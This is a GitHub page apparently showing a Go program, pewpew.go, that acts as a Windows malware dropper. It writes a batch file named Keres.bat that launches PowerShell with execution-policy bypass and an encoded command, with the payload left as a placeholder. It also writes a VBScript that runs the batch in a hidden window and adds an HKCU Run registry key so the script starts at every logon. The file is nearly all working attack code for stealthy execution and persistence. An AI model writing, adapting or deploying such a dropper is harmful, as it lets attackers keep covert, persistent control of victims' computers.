-
Notifications
You must be signed in to change notification settings - Fork 9
/
pewpew.go
79 lines (60 loc) · 1.82 KB
/
pewpew.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package main
import (
"fmt"
"io/ioutil"
"os"
"os/exec"
"path/filepath"
)
func main() {
// Define environment variables and paths
homeDir, err := os.UserHomeDir()
if err != nil {
fmt.Println("Error getting user home directory:", err)
return
}
batchFilePath := filepath.Join(homeDir, "Keres.bat")
vbsScriptPath := filepath.Join(homeDir, "ExecKeres.vbs")
encodedPSCmd := "A="
// Create VBScript content
vbsScriptContent := fmt.Sprintf(`
Set objShell = CreateObject("WScript.Shell")
batchFilePath = "%s"
objShell.Run batchFilePath, 0, True
`, batchFilePath)
// Create batch file content
batchFileContent := fmt.Sprintf(`
@echo off
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand %s
`, encodedPSCmd)
// Create VBScript file
if err := ioutil.WriteFile(vbsScriptPath, []byte(vbsScriptContent), 0644); err != nil {
fmt.Println("file:", err)
return
}
fmt.Println(" at:", vbsScriptPath)
// Create batch file
if err := ioutil.WriteFile(batchFilePath, []byte(batchFileContent), 0644); err != nil {
fmt.Println("file:", err)
return
}
// Execute VBScript file
go func() {
cmd := exec.Command("wscript", vbsScriptPath)
if err := cmd.Run(); err != nil {
fmt.Println("file:", err)
return
}
fmt.Println("executed successfully.")
}()
go func() {
regCmd := exec.Command("reg", "add", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"/v", "Keres", "/t", "REG_SZ", "/d", vbsScriptPath, "/f")
if err := regCmd.Run(); err != nil {
fmt.Println("Error registering script to run at s:", err)
return
}
}()
select {}
os.Exit(1)
}